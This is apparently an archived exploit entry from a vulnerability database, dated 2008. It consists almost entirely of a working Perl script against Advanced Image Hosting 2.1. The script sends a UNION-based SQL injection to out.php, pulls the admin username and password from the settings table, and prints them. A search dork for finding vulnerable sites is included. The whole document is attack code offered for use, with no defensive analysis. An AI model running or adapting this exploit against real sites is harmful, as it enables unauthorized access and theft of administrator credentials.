Advanced Image Hosting (AIH) 2.1 Remote SQL Injection Exploit

🗓️ 15 May 2008 00:00:00Reported by RootType
Advanced Image Hosting (AIH) 2.1 Remote SQL Injection Exploit. PerlSploit Class. PHP 4 / PHP 5, v.1. GNU General Public Licens

                                                #!/usr/bin/perl&nbsp;-w
##########################################################
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Advanced&nbsp;Image&nbsp;Host&nbsp;Script&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#&nbsp;&nbsp;&nbsp;&nbsp;Powered&nbsp;by:&nbsp;AIH&nbsp;&lt;=&nbsp;&nbsp;v2.1&nbsp;-&nbsp;Remote&nbsp;SQL&nbsp;Inj&nbsp;Exploit&nbsp;&nbsp;&nbsp;#
##########################################################
#&nbsp;&nbsp;dork:Powered&nbsp;by:&nbsp;AIH&nbsp;v2.1
#&nbsp;&nbsp;exploit&nbsp;aported&nbsp;password&nbsp;not&nbsp;crypted
#&nbsp;&nbsp;exploit&nbsp;tatjibe&nbsp;password&nbsp;mdecrypté&nbsp;:d
#&nbsp;&nbsp;mgharba&nbsp;:d:d:d:d
########################################
#[*]&nbsp;Founded&nbsp;by&nbsp;:&nbsp;Stack-Terrorist&nbsp;[v40]
#[*]&nbsp;Contact:&nbsp;Ev!L
#[*]&nbsp;Greetz&nbsp;:&nbsp;Houssamix&nbsp;&amp;&nbsp;Djekmani&nbsp;&amp;&nbsp;Jadi&nbsp;&amp;&nbsp;iuoisn&nbsp;&amp;&nbsp;All&nbsp;muslims&nbsp;HaCkeRs&nbsp;&nbsp;:)
########################################
#----------------------------------------------------------------------------#
########################################
#&nbsp;*&nbsp;TITLE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PerlSploit&nbsp;Class
#&nbsp;*&nbsp;REQUIREMENTS:&nbsp;&nbsp;&nbsp;PHP&nbsp;4&nbsp;/&nbsp;PHP&nbsp;5
#&nbsp;*&nbsp;VERSION:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v.1
#&nbsp;*&nbsp;LICENSE:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GNU&nbsp;General&nbsp;Public&nbsp;License
#&nbsp;*&nbsp;ORIGINAL&nbsp;URL:&nbsp;&nbsp;&nbsp;http://www.v4-Team/v4.txt
#&nbsp;*&nbsp;FILENAME:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PerlSploitClass.pl
#&nbsp;*
#&nbsp;*&nbsp;CONTACT:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[email protected]&nbsp;(french&nbsp;/&nbsp;english&nbsp;/&nbsp;arabic&nbsp;/&nbsp;moroco&nbsp;Darija&nbsp;:d&nbsp;)
#&nbsp;*&nbsp;GREETZ:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Houssamix&nbsp;&amp;&nbsp;Djekmani
#&nbsp;*&nbsp;THNX&nbsp;:&nbsp;AllaH
&nbsp;########################################
system(&quot;color&nbsp;a&quot;);
print&nbsp;&quot;\t\t############################################################\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Viva&nbsp;Islam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Advanced&nbsp;Image&nbsp;Host&nbsp;Script&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Powered&nbsp;by:&nbsp;AIH&nbsp;&lt;=&nbsp;&nbsp;v2.1&nbsp;-&nbsp;Remote&nbsp;SQL&nbsp;Inj&nbsp;Exploit&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;by&nbsp;Stack-Terrorist&nbsp;[v40]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;
print&nbsp;&quot;\t\t############################################################\n\n&quot;;
########################################
#----------------------------------------------------------------------------#
########################################
use&nbsp;LWP::UserAgent;
die&nbsp;&quot;Example:&nbsp;perl&nbsp;$0&nbsp;http://victim.com/\n&quot;&nbsp;unless&nbsp;@ARGV;
system(&quot;color&nbsp;f&quot;);
########################################
#----------------------------------------------------------------------------#
########################################
#the&nbsp;username
$user=&quot;admin&quot;;
#the&nbsp;pasword&nbsp;
$pass=&quot;pass&quot;;
#the&nbsp;tables
$tab=&quot;setting&quot;;
########################################
#----------------------------------------------------------------------------#
########################################
$b&nbsp;=&nbsp;LWP::UserAgent-&gt;new()&nbsp;or&nbsp;die&nbsp;&quot;Could&nbsp;not&nbsp;initialize&nbsp;browser\n&quot;;
$b-&gt;agent('Mozilla/4.0&nbsp;(compatible;&nbsp;MSIE&nbsp;7.0;&nbsp;Windows&nbsp;NT&nbsp;5.1)');
########################################
#----------------------------------------------------------------------------#
########################################
$host&nbsp;=&nbsp;$ARGV[0]&nbsp;.&nbsp;&quot;/out.php?t=-1'/**/union/**/select/**/2,2,2,2,2,2,concat(CHAR(60,117,115,101,114,62),&quot;.$user.&quot;,CHAR(60,98,115,62,60,98,107,62),CHAR(60,112,97,115,115,62),&quot;.$pass.&quot;,CHAR(60,98,107,62,60,98,115,62)),2,2,2,2,2,2+from+&quot;.$tab.&quot;/*&quot;;
########################################
#----------------------------------------------------------------------------#
########################################
$res&nbsp;=&nbsp;$b-&gt;request(HTTP::Request-&gt;new(GET=&gt;$host));
$answer&nbsp;=&nbsp;$res-&gt;content;
########################################
#----------------------------------------------------------------------------#
########################################
if&nbsp;($answer&nbsp;=~&nbsp;/&lt;user&gt;(.*?)&lt;bs&gt;&lt;bk&gt;/){
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nBrought&nbsp;to&nbsp;you&nbsp;by&nbsp;v4-team.com...\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;User&nbsp;:&nbsp;$1&quot;;
}
########################################
#----------------------------------------------------------------------------#
########################################
if&nbsp;($answer&nbsp;=~&nbsp;/&lt;pass&gt;(.*?)&lt;bk&gt;&lt;bs&gt;/){print&nbsp;&quot;\n[+]&nbsp;Admin&nbsp;password&nbsp;:&nbsp;$1\n\n&quot;;
print&nbsp;&quot;\t\t#&nbsp;&nbsp;&nbsp;Exploit&nbsp;has&nbsp;ben&nbsp;aported&nbsp;user&nbsp;and&nbsp;password&nbsp;&nbsp;&nbsp;&nbsp;#\n\n&quot;;}
########################################
#----------------------------------------------------------------------------#
########################################
else{print&nbsp;&quot;\n[-]&nbsp;Exploit&nbsp;Failed...\n&quot;;}
########################################
#----------------------------------------------------------------------------#
########################################
#----------------------------------------------------------------------------#
#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exploit&nbsp;exploited&nbsp;by&nbsp;Stack-Terrorist&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
#----------------------------------------------------------------------------#
########################################
#----------------------------------------------------------------------------#
########################################
15 May 2008 00:00Current
7.1High risk
Vulners AI Score7.1